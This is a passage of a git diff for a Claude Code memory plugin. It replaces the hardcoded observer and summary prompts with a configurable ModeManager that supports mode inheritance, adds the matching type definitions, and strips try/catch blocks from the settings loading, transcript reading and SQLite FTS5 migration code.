LIVE by the user. You are NOT the one doing the work - you are ONLY observing and recording what is being built, fixed, deployed, or configured in the other session. +${mode.prompts.observer_role} -SPATIAL AWARENESS: Tool executions include the working directory (tool_cwd) to help you understand: -- Which repository/project is being worked on -- Where files are located relative to the project root -- How to match requested paths to actual execution paths +${mode.prompts.spatial_awareness} -WHAT TO RECORD --------------- -Focus on deliverables and capabilities: -- What the system NOW DOES differently (new capabilities) -- What shipped to users/production (features, fixes, configs, docs) -- Changes in technical domains (auth, data, UI, infra, DevOps, docs) +${mode.prompts.recording_focus} -Use verbs like: implemented, fixed, deployed, configured, migrated, optimized, added, refactored +${mode.prompts.skip_guidance} -✅ GOOD EXAMPLES (describes what was built): -- "Authentication now supports OAuth2 with PKCE flow" -- "Deployment pipeline runs canary releases with auto-rollback" -- "Database indexes optimized for common query patterns" - -❌ BAD EXAMPLES (describes observation process - DO NOT DO THIS): -- "Analyzed authentication implementation and stored findings" -- "Tracked deployment steps and logged outcomes" -- "Monitored database performance and recorded metrics" - -WHEN TO SKIP ------------- -Skip routine operations: -- Empty status checks -- Package installations with no errors -- Simple file listings -- Repetitive operations you've already documented -- If file related research comes back as empty or not found -- **No output necessary if skipping.** - -OUTPUT FORMAT -------------- -Output observations using this XML structure: +${mode.prompts.output_format_header} \`\`\`xml - [ bugfix | feature | refactor | change | discovery | decision ] + [ ${mode.observation_types.map(t => t.id).join(' | ')} ] - [**title**: Short title capturing the core action or topic] - [**subtitle**: One sentence explanation (max 24 words)] + ${mode.prompts.xml_title_placeholder} + ${mode.prompts.xml_subtitle_placeholder} - [Concise, self-contained statement] - [Concise, self-contained statement] - [Concise, self-contained statement] + ${mode.prompts.xml_fact_placeholder} + ${mode.prompts.xml_fact_placeholder} + ${mode.prompts.xml_fact_placeholder} - [**narrative**: Full context: What was done, how it works, why it matters] + ${mode.prompts.xml_narrative_placeholder} - [knowledge-type-category] - [knowledge-type-category] + ${mode.prompts.xml_concept_placeholder} + ${mode.prompts.xml_concept_placeholder} - [path/to/file] - [path/to/file] + ${mode.prompts.xml_file_placeholder} + ${mode.prompts.xml_file_placeholder} - [path/to/file] - [path/to/file] + ${mode.prompts.xml_file_placeholder} + ${mode.prompts.xml_file_placeholder} - \`\`\` +${mode.prompts.format_examples} -IMPORTANT! DO NOT do any work right now other than generating this OBSERVATIONS from tool use messages - and remember that you are a memory agent designed to summarize a DIFFERENT claude code session, not this one. +${mode.prompts.footer} -Never reference yourself or your own actions. Do not output anything other than the observation content formatted in the XML structure above. All other output is ignored by the system, and the system has been designed to be smart about token usage. Please spend your tokens wisely on useful observations. - -Remember that we record these observations as a way of helping us stay on track with our progress, and to help us keep important decisions and changes at the forefront of our minds! :) Thank you so much for your help! - -MEMORY PROCESSING START -=======================`; +${mode.prompts.header_memory_start}`; } /** @@ -176,7 +117,7 @@ export function buildObservationPrompt(obs: Observation): string { /** * Build prompt to generate progress summary */ -export function buildSummaryPrompt(session: SDKSession): string { +export function buildSummaryPrompt(session: SDKSession, mode: ModeConfig): string { const lastAssistantMessage = session.last_assistant_message || logger.happyPathError( 'SDK', 'Missing last_assistant_message in session for summary prompt', @@ -185,28 +126,23 @@ export function buildSummaryPrompt(session: SDKSession): string { '' ); - return `PROGRESS SUMMARY CHECKPOINT -=========================== -Write progress notes of what was done, what was learned, and what's next. This is a checkpoint to capture progress so far. The session is ongoing - you may receive more requests and tool executions after this summary. Write "next_steps" as the current trajectory of work (what's actively being worked on or coming up next), not as post-session future work. Always write at least a minimal summary explaining current progress, even if work is still in early stages, so that users see a summary output tied to each request. + return `${mode.prompts.header_summary_checkpoint} +${mode.prompts.summary_instruction} -Claude's Full Response to User: +${mode.prompts.summary_context_label} ${lastAssistantMessage} -Respond in this XML format: +${mode.prompts.summary_format_instruction} - [Short title capturing the user's request AND the substance of what was discussed/done] - [What has been explored so far? What was examined?] - [What have you learned about how things work?] - [What work has been completed so far? What has shipped or changed?] - [What are you actively working on or planning to work on next in this session?] - [Additional insights or observations about the current progress] + ${mode.prompts.xml_summary_request_placeholder} + ${mode.prompts.xml_summary_investigated_placeholder} + ${mode.prompts.xml_summary_learned_placeholder} + ${mode.prompts.xml_summary_completed_placeholder} + ${mode.prompts.xml_summary_next_steps_placeholder} + ${mode.prompts.xml_summary_notes_placeholder} -IMPORTANT! DO NOT do any work right now other than generating this next PROGRESS SUMMARY - and remember that you are a memory agent designed to summarize a DIFFERENT claude code session, not this one. - -Never reference yourself or your own actions. Do not output anything other than the summary content formatted in the XML structure above. All other output is ignored by the system, and the system has been designed to be smart about token usage. Please spend your tokens wisely on useful summary content. - -Thank you, this summary will be very useful for keeping track of our progress!`; +${mode.prompts.summary_footer}`; } /** @@ -230,96 +166,65 @@ Thank you, this summary will be very useful for keeping track of our progress!`; * Called when: promptNumber > 1 (see SDKAgent.ts line 150) * First prompt: Uses buildInitPrompt instead (promptNumber === 1) */ -export function buildContinuationPrompt(userPrompt: string, promptNumber: number, claudeSessionId: string): string { - return ` -Hello memory agent, you are continuing to observe the primary Claude session. +export function buildContinuationPrompt(userPrompt: string, promptNumber: number, claudeSessionId: string, mode: ModeConfig): string { + return `${mode.prompts.continuation_greeting} ${userPrompt} ${new Date().toISOString().split('T')[0]} -You do not have access to tools. All information you need is provided in messages. Create observations from what you observe - no investigation needed. +${mode.prompts.system_identity} -CRITICAL: Record what was LEARNED/BUILT/FIXED/DEPLOYED/CONFIGURED, not what you (the observer) are doing. Focus on deliverables and capabilities - what the system NOW DOES differently. +${mode.prompts.observer_role} -WHEN TO SKIP ------------- -Skip routine operations: -- Empty status checks -- Package installations with no errors -- Simple file listings -- Repetitive operations you've already documented -- If file related research comes back as empty or not found -- **No output necessary if skipping.** +${mode.prompts.spatial_awareness} -IMPORTANT: Continue generating observations from tool use messages using the XML structure below. +${mode.prompts.recording_focus} -OUTPUT FORMAT -------------- -Output observations using this XML structure: +${mode.prompts.skip_guidance} + +${mode.prompts.continuation_instruction} + +${mode.prompts.output_format_header} \`\`\`xml - [ bugfix | feature | refactor | change | discovery | decision ] + [ ${mode.observation_types.map(t => t.id).join(' | ')} ] - [**title**: Short title capturing the core action or topic] - [**subtitle**: One sentence explanation (max 24 words)] + ${mode.prompts.xml_title_placeholder} + ${mode.prompts.xml_subtitle_placeholder} - [Concise, self-contained statement] - [Concise, self-contained statement] - [Concise, self-contained statement] + ${mode.prompts.xml_fact_placeholder} + ${mode.prompts.xml_fact_placeholder} + ${mode.prompts.xml_fact_placeholder} - [**narrative**: Full context: What was done, how it works, why it matters] + ${mode.prompts.xml_narrative_placeholder} - [knowledge-type-category] - [knowledge-type-category] + ${mode.prompts.xml_concept_placeholder} + ${mode.prompts.xml_concept_placeholder} - [path/to/file] - [path/to/file] + ${mode.prompts.xml_file_placeholder} + ${mode.prompts.xml_file_placeholder} - [path/to/file] - [path/to/file] + ${mode.prompts.xml_file_placeholder} + ${mode.prompts.xml_file_placeholder} - \`\`\` +${mode.prompts.format_examples} -Never reference yourself or your own actions. Do not output anything other than the observation content formatted in the XML structure above. All other output is ignored by the system, and the system has been designed to be smart about token usage. Please spend your tokens wisely on useful observations. +${mode.prompts.footer} -Remember that we record these observations as a way of helping us stay on track with our progress, and to help us keep important decisions and changes at the forefront of our minds! :) Thank you so much for your continued help! - -MEMORY PROCESSING CONTINUED -===========================`; +${mode.prompts.header_memory_continued}`; } \ No newline at end of file diff --git a/src/services/context-generator.ts b/src/services/context-generator.ts index c5395f23..fcf2941d 100644 --- a/src/services/context-generator.ts +++ b/src/services/context-generator.ts @@ -9,12 +9,6 @@ import path from 'path'; import { homedir } from 'os'; import { existsSync, readFileSync, unlinkSync } from 'fs'; import { SessionStore } from './sqlite/SessionStore.js'; -import { - OBSERVATION_TYPES, - OBSERVATION_CONCEPTS, - TYPE_ICON_MAP, - TYPE_WORK_EMOJI_MAP -} from '../constants/observation-metadata.js'; import { logger } from '../utils/logger.js'; import { SettingsDefaultsManager } from '../shared/SettingsDefaultsManager.js'; import { @@ -26,6 +20,7 @@ import { extractFirstFile } from '../shared/timeline-formatting.js'; import { getProjectName } from '../utils/project-name.js'; +import { ModeManager } from './domain/ModeManager.js'; // Version marker path - use homedir-based path that works in both CJS and ESM contexts const VERSION_MARKER_PATH = path.join(homedir(), '.claude', 'plugins', 'marketplaces', 'thedotmack', 'plugin', '.install-version'); @@ -60,43 +55,24 @@ function loadContextConfig(): ContextConfig { const settingsPath = path.join(homedir(), '.claude-mem', 'settings.json'); const settings = SettingsDefaultsManager.loadFromFile(settingsPath); - try { - return { - totalObservationCount: parseInt(settings.CLAUDE_MEM_CONTEXT_OBSERVATIONS, 10), - fullObservationCount: parseInt(settings.CLAUDE_MEM_CONTEXT_FULL_COUNT, 10), - sessionCount: parseInt(settings.CLAUDE_MEM_CONTEXT_SESSION_COUNT, 10), - showReadTokens: settings.CLAUDE_MEM_CONTEXT_SHOW_READ_TOKENS === 'true', - showWorkTokens: settings.CLAUDE_MEM_CONTEXT_SHOW_WORK_TOKENS === 'true', - showSavingsAmount: settings.CLAUDE_MEM_CONTEXT_SHOW_SAVINGS_AMOUNT === 'true', - showSavingsPercent: settings.CLAUDE_MEM_CONTEXT_SHOW_SAVINGS_PERCENT === 'true', - observationTypes: new Set( - settings.CLAUDE_MEM_CONTEXT_OBSERVATION_TYPES.split(',').map((t: string) => t.trim()).filter(Boolean) - ), - observationConcepts: new Set( - settings.CLAUDE_MEM_CONTEXT_OBSERVATION_CONCEPTS.split(',').map((c: string) => c.trim()).filter(Boolean) - ), - fullObservationField: settings.CLAUDE_MEM_CONTEXT_FULL_FIELD as 'narrative' | 'facts', - showLastSummary: settings.CLAUDE_MEM_CONTEXT_SHOW_LAST_SUMMARY === 'true', - showLastMessage: settings.CLAUDE_MEM_CONTEXT_SHOW_LAST_MESSAGE === 'true', - }; - } catch (error) { - logger.warn('WORKER', 'Failed to load context settings, using defaults', {}, error as Error); - // Return defaults on error - return { - totalObservationCount: 50, - fullObservationCount: 5, - sessionCount: 10, - showReadTokens: true, - showWorkTokens: true, - showSavingsAmount: true, - showSavingsPercent: true, - observationTypes: new Set(OBSERVATION_TYPES), - observationConcepts: new Set(OBSERVATION_CONCEPTS), - fullObservationField: 'narrative' as const, - showLastSummary: true, - showLastMessage: false, - }; - } + return { + totalObservationCount: parseInt(settings.CLAUDE_MEM_CONTEXT_OBSERVATIONS, 10), + fullObservationCount: parseInt(settings.CLAUDE_MEM_CONTEXT_FULL_COUNT, 10), + sessionCount: parseInt(settings.CLAUDE_MEM_CONTEXT_SESSION_COUNT, 10), + showReadTokens: settings.CLAUDE_MEM_CONTEXT_SHOW_READ_TOKENS === 'true', + showWorkTokens: settings.CLAUDE_MEM_CONTEXT_SHOW_WORK_TOKENS === 'true', + showSavingsAmount: settings.CLAUDE_MEM_CONTEXT_SHOW_SAVINGS_AMOUNT === 'true', + showSavingsPercent: settings.CLAUDE_MEM_CONTEXT_SHOW_SAVINGS_PERCENT === 'true', + observationTypes: new Set( + settings.CLAUDE_MEM_CONTEXT_OBSERVATION_TYPES.split(',').map((t: string) => t.trim()).filter(Boolean) + ), + observationConcepts: new Set( + settings.CLAUDE_MEM_CONTEXT_OBSERVATION_CONCEPTS.split(',').map((c: string) => c.trim()).filter(Boolean) + ), + fullObservationField: settings.CLAUDE_MEM_CONTEXT_FULL_FIELD as 'narrative' | 'facts', + showLastSummary: settings.CLAUDE_MEM_CONTEXT_SHOW_LAST_SUMMARY === 'true', + showLastMessage: settings.CLAUDE_MEM_CONTEXT_SHOW_LAST_MESSAGE === 'true', + }; } // Configuration constants @@ -280,20 +256,16 @@ export async function generateContext(input?: ContextInput, useColors: boolean = let priorAssistantMessage = ''; if (config.showLastMessage && observations.length > 0) { - try { - const currentSessionId = input?.session_id; - const priorSessionObs = observations.find(obs => obs.sdk_session_id !== currentSessionId); + const currentSessionId = input?.session_id; + const priorSessionObs = observations.find(obs => obs.sdk_session_id !== currentSessionId); - if (priorSessionObs) { - const priorSessionId = priorSessionObs.sdk_session_id; - const dashedCwd = cwdToDashed(cwd); - const transcriptPath = path.join(homedir(), '.claude', 'projects', dashedCwd, `${priorSessionId}.jsonl`); - const messages = extractPriorMessages(transcriptPath); - priorUserMessage = messages.userMessage; - priorAssistantMessage = messages.assistantMessage; - } - } catch (error) { - // Expected: Transcript file may not exist or be readable + if (priorSessionObs) { + const priorSessionId = priorSessionObs.sdk_session_id; + const dashedCwd = cwdToDashed(cwd); + const transcriptPath = path.join(homedir(), '.claude', 'projects', dashedCwd, `${priorSessionId}.jsonl`); + const messages = extractPriorMessages(transcriptPath); + priorUserMessage = messages.userMessage; + priorAssistantMessage = messages.assistantMessage; } } @@ -325,11 +297,13 @@ export async function generateContext(input?: ContextInput, useColors: boolean = // Chronological Timeline if (timelineObs.length > 0) { - // Legend + // Legend - generate dynamically from active mode + const mode = ModeManager.getInstance().getActiveMode(); + const typeLegendItems = mode.observation_types.map(t => `${t.emoji} ${t.id}`).join(' | '); if (useColors) { - output.push(`${colors.dim}Legend: 🎯 session-request | 🔴 bugfix | 🟣 feature | 🔄 refactor | ✅ change | 🔵 discovery | ⚖️ decision${colors.reset}`); + output.push(`${colors.dim}Legend: 🎯 session-request | ${typeLegendItems}${colors.reset}`); } else { - output.push(`**Legend:** 🎯 session-request | 🔴 bugfix | 🟣 feature | 🔄 refactor | ✅ change | 🔵 discovery | ⚖️ decision`); + output.push(`**Legend:** 🎯 session-request | ${typeLegendItems}`); } output.push(''); @@ -536,7 +510,7 @@ export async function generateContext(input?: ContextInput, useColors: boolean = const time = formatTime(obs.created_at); const title = obs.title || 'Untitled'; - const icon = TYPE_ICON_MAP[obs.type as keyof typeof TYPE_ICON_MAP] || '•'; + const icon = ModeManager.getInstance().getTypeIcon(obs.type); const obsSize = (obs.title?.length || 0) + (obs.subtitle?.length || 0) + @@ -544,7 +518,7 @@ export async function generateContext(input?: ContextInput, useColors: boolean = JSON.stringify(obs.facts || []).length; const readTokens = Math.ceil(obsSize / CHARS_PER_TOKEN_ESTIMATE); const discoveryTokens = obs.discovery_tokens || 0; - const workEmoji = TYPE_WORK_EMOJI_MAP[obs.type as keyof typeof TYPE_WORK_EMOJI_MAP] || '🔍'; + const workEmoji = ModeManager.getInstance().getWorkEmoji(obs.type); const discoveryDisplay = discoveryTokens > 0 ? `${workEmoji} ${discoveryTokens.toLocaleString()}` : '-'; const showTime = time !== lastTime; diff --git a/src/services/domain/ModeManager.ts b/src/services/domain/ModeManager.ts new file mode 100644 index 00000000..804af598 --- /dev/null +++ b/src/services/domain/ModeManager.ts @@ -0,0 +1,254 @@ +/** + * ModeManager - Singleton for loading and managing mode profiles + * + * Mode profiles define observation types, concepts, and prompts for different use cases. + * Default mode is 'code' (software development). Other modes like 'email-investigation' + * can be selected via CLAUDE_MEM_MODE setting. + */ + +import { readFileSync, existsSync } from 'fs'; +import { join } from 'path'; +import type { ModeConfig, ObservationType, ObservationConcept } from './types.js'; +import { logger } from '../../utils/logger.js'; +import { getPackageRoot } from '../../shared/paths.js'; + +export class ModeManager { + private static instance: ModeManager | null = null; + private activeMode: ModeConfig | null = null; + private modesDir: string; + + private constructor() { + // Modes are in plugin/modes/ + // getPackageRoot() points to plugin/ in production and src/ in development + // We want to ensure we find the modes directory which is at the project root/plugin/modes + const packageRoot = getPackageRoot(); + + // Check for plugin/modes relative to package root (covers both dev and prod if paths are right) + const possiblePaths = [ + join(packageRoot, 'modes'), // Production (plugin/modes) + join(packageRoot, '..', 'plugin', 'modes'), // Development (src/../plugin/modes) + ]; + + const foundPath = possiblePaths.find(p => existsSync(p)); + this.modesDir = foundPath || possiblePaths[0]; + } + + /** + * Get singleton instance + */ + static getInstance(): ModeManager { + if (!ModeManager.instance) { + ModeManager.instance = new ModeManager(); + } + return ModeManager.instance; + } + + /** + * Parse mode ID for inheritance pattern (parent--override) + */ + private parseInheritance(modeId: string): { + hasParent: boolean; + parentId: string; + overrideId: string; + } { + const parts = modeId.split('--'); + + if (parts.length === 1) { + return { hasParent: false, parentId: '', overrideId: '' }; + } + + // Support only one level: code--ko, not code--ko--verbose + if (parts.length > 2) { + throw new Error( + `Invalid mode inheritance: ${modeId}. Only one level of inheritance supported (parent--override)` + ); + } + + return { + hasParent: true, + parentId: parts[0], + overrideId: modeId // Use the full modeId (e.g., code--es) to find the override file + }; + } + + /** + * Check if value is a plain object (not array, not null) + */ + private isPlainObject(value: unknown): boolean { + return ( + value !== null && + typeof value === 'object' && + !Array.isArray(value) + ); + } + + /** + * Deep merge two objects + * - Recursively merge nested objects + * - Replace arrays completely (no merging) + * - Override primitives + */ + private deepMerge(base: T, override: Partial): T { + const result = { ...base } as T; + + for (const key in override) { + const overrideValue = override[key]; + const baseValue = base[key]; + + if (this.isPlainObject(overrideValue) && this.isPlainObject(baseValue)) { + // Recursively merge nested objects + result[key] = this.deepMerge(baseValue, overrideValue as any); + } else { + // Replace arrays and primitives completely + result[key] = overrideValue as T[Extract]; + } + } + + return result; + } + + /** + * Load a mode file from disk without inheritance processing + */ + private loadModeFile(modeId: string): ModeConfig { + const modePath = join(this.modesDir, `${modeId}.json`); + + if (!existsSync(modePath)) { + throw new Error(`Mode file not found: ${modePath}`); + } + + const jsonContent = readFileSync(modePath, 'utf-8'); + return JSON.parse(jsonContent) as ModeConfig; + } + + /** + * Load a mode profile by ID with inheritance support + * Caches the result for subsequent calls + * + * Supports inheritance via parent--override pattern (e.g., code--ko) + * - Loads parent mode recursively + * - Loads override file from modes directory + * - Deep merges override onto parent + */ + loadMode(modeId: string): ModeConfig { + const inheritance = this.parseInheritance(modeId); + + // No inheritance - load file directly (existing behavior) + if (!inheritance.hasParent) { + try { + const mode = this.loadModeFile(modeId); + this.activeMode = mode; + logger.debug('SYSTEM', `Loaded mode: ${mode.name} (${modeId})`, undefined, { + types: mode.observation_types.map(t => t.id), + concepts: mode.observation_concepts.map(c => c.id) + }); + return mode; + } catch (error) { + logger.warn('SYSTEM', `Mode file not found: ${modeId}, falling back to 'code'`); + // If we're already trying to load 'code', throw to prevent infinite recursion + if (modeId === 'code') { + throw new Error('Critical: code.json mode file missing'); + } + return this.loadMode('code'); + } + } + + // Has inheritance - load parent and merge with override + const { parentId, overrideId } = inheritance; + + // Load parent mode recursively + let parentMode: ModeConfig; + try { + parentMode = this.loadMode(parentId); + } catch (error) { + logger.warn('SYSTEM', `Parent mode '${parentId}' not found for ${modeId}, falling back to 'code'`); + parentMode = this.loadMode('code'); + } + + // Load override file + let overrideConfig: Partial; + try { + overrideConfig = this.loadModeFile(overrideId); + logger.debug('SYSTEM', `Loaded override file: ${overrideId} for parent ${parentId}`); + } catch (error) { + logger.warn('SYSTEM', `Override file '${overrideId}' not found, using parent mode '${parentId}' only`); + this.activeMode = parentMode; + return parentMode; + } + + // Validate override file loaded successfully + if (!overrideConfig) { + logger.warn('SYSTEM', `Invalid override file: ${overrideId}, using parent mode '${parentId}' only`); + this.activeMode = parentMode; + return parentMode; + } + + // Deep merge override onto parent + const mergedMode = this.deepMerge(parentMode, overrideConfig); + this.activeMode = mergedMode; + + logger.debug('SYSTEM', `Loaded mode with inheritance: ${mergedMode.name} (${modeId} = ${parentId} + ${overrideId})`, undefined, { + parent: parentId, + override: overrideId, + types: mergedMode.observation_types.map(t => t.id), + concepts: mergedMode.observation_concepts.map(c => c.id) + }); + + return mergedMode; + } + + /** + * Get currently active mode + */ + getActiveMode(): ModeConfig { + if (!this.activeMode) { + throw new Error('No mode loaded. Call loadMode() first.'); + } + return this.activeMode; + } + + /** + * Get all observation types from active mode + */ + getObservationTypes(): ObservationType[] { + return this.getActiveMode().observation_types; + } + + /** + * Get all observation concepts from active mode + */ + getObservationConcepts(): ObservationConcept[] { + return this.getActiveMode().observation_concepts; + } + + /** + * Get icon for a specific observation type + */ + getTypeIcon(typeId: string): string { + const type = this.getObservationTypes().find(t => t.id === typeId); + return type?.emoji || '📝'; + } + + /** + * Get work emoji for a specific observation type + */ + getWorkEmoji(typeId: string): string { + const type = this.getObservationTypes().find(t => t.id === typeId); + return type?.work_emoji || '📝'; + } + + /** + * Validate that a type ID exists in the active mode + */ + validateType(typeId: string): boolean { + return this.getObservationTypes().some(t => t.id === typeId); + } + + /** + * Get label for a specific observation type + */ + getTypeLabel(typeId: string): string { + const type = this.getObservationTypes().find(t => t.id === typeId); + return type?.label || typeId; + } +} diff --git a/src/services/domain/types.ts b/src/services/domain/types.ts new file mode 100644 index 00000000..17da2971 --- /dev/null +++ b/src/services/domain/types.ts @@ -0,0 +1,72 @@ +/** + * TypeScript interfaces for mode configuration system + */ + +export interface ObservationType { + id: string; + label: string; + description: string; + emoji: string; + work_emoji: string; +} + +export interface ObservationConcept { + id: string; + label: string; + description: string; +} + +export interface ModePrompts { + system_identity: string; // Base persona and role definition + language_instruction?: string; // Optional language constraints (e.g., "Write in Korean") + spatial_awareness: string; // Working directory context guidance + observer_role: string; // What the observer's job is in this mode + recording_focus: string; // What to record and how to think about it + skip_guidance: string; // What to skip recording + type_guidance: string; // Valid observation types for this mode + concept_guidance: string; // Valid concept categories for this mode + field_guidance: string; // Guidance for facts/files fields + output_format_header: string; // Text introducing the XML schema + format_examples: string; // Optional additional XML examples (empty string if not needed) + footer: string; // Closing instructions and encouragement + + // Observation XML placeholders + xml_title_placeholder: string; // e.g., "[**title**: Short title capturing the core action or topic]" + xml_subtitle_placeholder: string; // e.g., "[**subtitle**: One sentence explanation (max 24 words)]" + xml_fact_placeholder: string; // e.g., "[Concise, self-contained statement]" + xml_narrative_placeholder: string; // e.g., "[**narrative**: Full context: What was done, how it works, why it matters]" + xml_concept_placeholder: string; // e.g., "[knowledge-type-category]" + xml_file_placeholder: string; // e.g., "[path/to/file]" + + // Summary XML placeholders + xml_summary_request_placeholder: string; // e.g., "[Short title capturing the user's request AND...]" + xml_summary_investigated_placeholder: string; // e.g., "[What has been explored so far? What was examined?]" + xml_summary_learned_placeholder: string; // e.g., "[What have you learned about how things work?]" + xml_summary_completed_placeholder: string; // e.g., "[What work has been completed so far? What has shipped or changed?]" + xml_summary_next_steps_placeholder: string; // e.g., "[What are you actively working on or planning to work on next in this session?]" + xml_summary_notes_placeholder: string; // e.g., "[Additional insights or observations about the current progress]" + + // Section headers (with separator lines) + header_memory_start: string; // e.g., "MEMORY PROCESSING START\n=======================" + header_memory_continued: string; // e.g., "MEMORY PROCESSING CONTINUED\n===========================" + header_summary_checkpoint: string; // e.g., "PROGRESS SUMMARY CHECKPOINT\n===========================" + + // Continuation prompts + continuation_greeting: string; // e.g., "Hello memory agent, you are continuing to observe the primary Claude session." + continuation_instruction: string; // e.g., "IMPORTANT: Continue generating observations from tool use messages using the XML structure below." + + // Summary prompts + summary_instruction: string; // Instructions for writing progress summary + summary_context_label: string; // Label for Claude's response section (e.g., "Claude's Full Response to User:") + summary_format_instruction: string; // Instruction to use XML format (e.g., "Respond in this XML format:") + summary_footer: string; // Footer with closing instructions and language requirement +} + +export interface ModeConfig { + name: string; + description: string; + version: string; + observation_types: ObservationType[]; + observation_concepts: ObservationConcept[]; + prompts: ModePrompts; +} diff --git a/src/services/sqlite/SessionSearch.ts b/src/services/sqlite/SessionSearch.ts index 87bab477..fbc5db1d 100644 --- a/src/services/sqlite/SessionSearch.ts +++ b/src/services/sqlite/SessionSearch.ts @@ -50,104 +50,100 @@ export class SessionSearch { * TODO: Remove FTS5 infrastructure in future major version (v7.0.0) */ private ensureFTSTables(): void { - try { - // Check if FTS tables already exist - const tables = this.db.prepare("SELECT name FROM sqlite_master WHERE type='table' AND name LIKE '%_fts'").all() as TableNameRow[]; - const hasFTS = tables.some(t => t.name === 'observations_fts' || t.name === 'session_summaries_fts'); + // Check if FTS tables already exist + const tables = this.db.prepare("SELECT name FROM sqlite_master WHERE type='table' AND name LIKE '%_fts'").all() as TableNameRow[]; + const hasFTS = tables.some(t => t.name === 'observations_fts' || t.name === 'session_summaries_fts'); - if (hasFTS) { - // Already migrated - return; - } - - console.log('[SessionSearch] Creating FTS5 tables...'); - - // Create observations_fts virtual table - this.db.run(` - CREATE VIRTUAL TABLE IF NOT EXISTS observations_fts USING fts5( - title, - subtitle, - narrative, - text, - facts, - concepts, - content='observations', - content_rowid='id' - ); - `); - - // Populate with existing data - this.db.run(` - INSERT INTO observations_fts(rowid, title, subtitle, narrative, text, facts, concepts) - SELECT id, title, subtitle, narrative, text, facts, concepts - FROM observations; - `); - - // Create triggers for observations - this.db.run(` - CREATE TRIGGER IF NOT EXISTS observations_ai AFTER INSERT ON observations BEGIN - INSERT INTO observations_fts(rowid, title, subtitle, narrative, text, facts, concepts) - VALUES (new.id, new.title, new.subtitle, new.narrative, new.text, new.facts, new.concepts); - END; - - CREATE TRIGGER IF NOT EXISTS observations_ad AFTER DELETE ON observations BEGIN - INSERT INTO observations_fts(observations_fts, rowid, title, subtitle, narrative, text, facts, concepts) - VALUES('delete', old.id, old.title, old.subtitle, old.narrative, old.text, old.facts, old.concepts); - END; - - CREATE TRIGGER IF NOT EXISTS observations_au AFTER UPDATE ON observations BEGIN - INSERT INTO observations_fts(observations_fts, rowid, title, subtitle, narrative, text, facts, concepts) - VALUES('delete', old.id, old.title, old.subtitle, old.narrative, old.text, old.facts, old.concepts); - INSERT INTO observations_fts(rowid, title, subtitle, narrative, text, facts, concepts) - VALUES (new.id, new.title, new.subtitle, new.narrative, new.text, new.facts, new.concepts); - END; - `); - - // Create session_summaries_fts virtual table - this.db.run(` - CREATE VIRTUAL TABLE IF NOT EXISTS session_summaries_fts USING fts5( - request, - investigated, - learned, - completed, - next_steps, - notes, - content='session_summaries', - content_rowid='id' - ); - `); - - // Populate with existing data - this.db.run(` - INSERT INTO session_summaries_fts(rowid, request, investigated, learned, completed, next_steps, notes) - SELECT id, request, investigated, learned, completed, next_steps, notes - FROM session_summaries; - `); - - // Create triggers for session_summaries - this.db.run(` - CREATE TRIGGER IF NOT EXISTS session_summaries_ai AFTER INSERT ON session_summaries BEGIN - INSERT INTO session_summaries_fts(rowid, request, investigated, learned, completed, next_steps, notes) - VALUES (new.id, new.request, new.investigated, new.learned, new.completed, new.next_steps, new.notes); - END; - - CREATE TRIGGER IF NOT EXISTS session_summaries_ad AFTER DELETE ON session_summaries BEGIN - INSERT INTO session_summaries_fts(session_summaries_fts, rowid, request, investigated, learned, completed, next_steps, notes) - VALUES('delete', old.id, old.request, old.investigated, old.learned, old.completed, old.next_steps, old.notes); - END; - - CREATE TRIGGER IF NOT EXISTS session_summaries_au AFTER UPDATE ON session_summaries BEGIN - INSERT INTO session_summaries_fts(session_summaries_fts, rowid, request, investigated, learned, completed, next_steps, notes) - VALUES('delete', old.id, old.request, old.investigated, old.learned, old.completed, old.next_steps, old.notes); - INSERT INTO session_summaries_fts(rowid, request, investigated, learned, completed, next_steps, notes) - VALUES (new.id, new.request, new.investigated, new.learned, new.completed, new.next_steps, new.notes); - END; - `); - - console.log('[SessionSearch] FTS5 tables created successfully'); - } catch (error: any) { - console.error('[SessionSearch] FTS migration error:', error.message); + if (hasFTS) { + // Already migrated + return; } + + console.log('[SessionSearch] Creating FTS5 tables...'); + + // Create observations_fts virtual table + this.db.run(` + CREATE VIRTUAL TABLE IF NOT EXISTS observations_fts USING fts5( + title, + subtitle, + narrative, + text, + facts, + concepts, + content='observations', + content_rowid='id' + ); + `); + + // Populate with existing data + this.db.run(` + INSERT INTO observations_fts(rowid, title, subtitle, narrative, text, facts, concepts) + SELECT id, title, subtitle, narrative, text, facts, concepts + FROM observations; + `); + + // Create triggers for observations + this.db.run(` + CREATE TRIGGER IF NOT EXISTS observations_ai AFTER INSERT ON observations BEGIN + INSERT INTO observations_fts(rowid, title, subtitle, narrative, text, facts, concepts) + VALUES (new.id, new.title, new.subtitle, new.narrative, new.text, new.facts, new.concepts); + END; + + CREATE TRIGGER IF NOT EXISTS observations_ad AFTER DELETE ON observations BEGIN + INSERT INTO observations_fts(observations_fts, rowid, title, subtitle, narrative, text, facts, concepts) + VALUES('delete', old.id, old.title, old.subtitle, old.narrative, old.text, old.facts, old.concepts); + END; + + CREATE TRIGGER IF NOT EXISTS observations_au AFTER UPDATE ON observations BEGIN + INSERT INTO observations_fts(observations_fts, rowid, title, subtitle, narrative, text, facts, concepts) + VALUES('delete', old.id, old.title, old.subtitle, old.narrative, old.text, old.facts, old.concepts); + INSERT INTO observations_fts(rowid, title, subtitle, narrative, text, facts, concepts) + VALUES (new.id, new.title, new.subtitle, new.narrative, new.text, new.facts, new.concepts); + END; + `); + + // Create session_summaries_fts virtual table + this.db.run(` + CREATE VIRTUAL TABLE IF NOT EXISTS session_summaries_fts USING fts5( + request, + investigated, + learned, + completed, + next_steps, + notes, + content='session_summaries', + content_rowid='id' + ); + `); + + // Populate with existing data + this.db.run(` + INSERT INTO session_summaries_fts(rowid, request, investigated, learned, completed, next_steps, notes) + SELECT id, request, investigated, learned, completed, next_steps, notes + FROM session_summaries; + `); + + // Create triggers for session_summaries + this.db.run(` + CREATE TRIGGER IF NOT EXISTS session_summaries_ai AFTER INSERT ON session_summaries BEGIN + INSERT INTO session_summaries_fts(rowid, request, investigated, learned, completed, next_steps, notes) + VALUES (new.id, new.request, new.investigated, new.learned, new.completed, new.next_steps, new.notes); + END; + + CREATE TRIGGER IF NOT EXISTS session_summaries_ad AFTER DELETE ON session_summaries BEGIN + INSERT INTO session_summaries_fts(session_summaries_fts, rowid, request, investigated, learned, completed, next_steps, notes) + VALUES('delete', old.id, old.request, old.investigated, old.learned, old.completed, old.next_steps, old.notes); + END; + + CREATE TRIGGER IF NOT EXISTS session_summaries_au AFTER UPDATE ON session_summaries BEGIN + INSERT INTO session_summaries_fts(session_summaries_fts, rowid, request, investigated, learned, completed, next_steps, notes) + VALUES('delete', 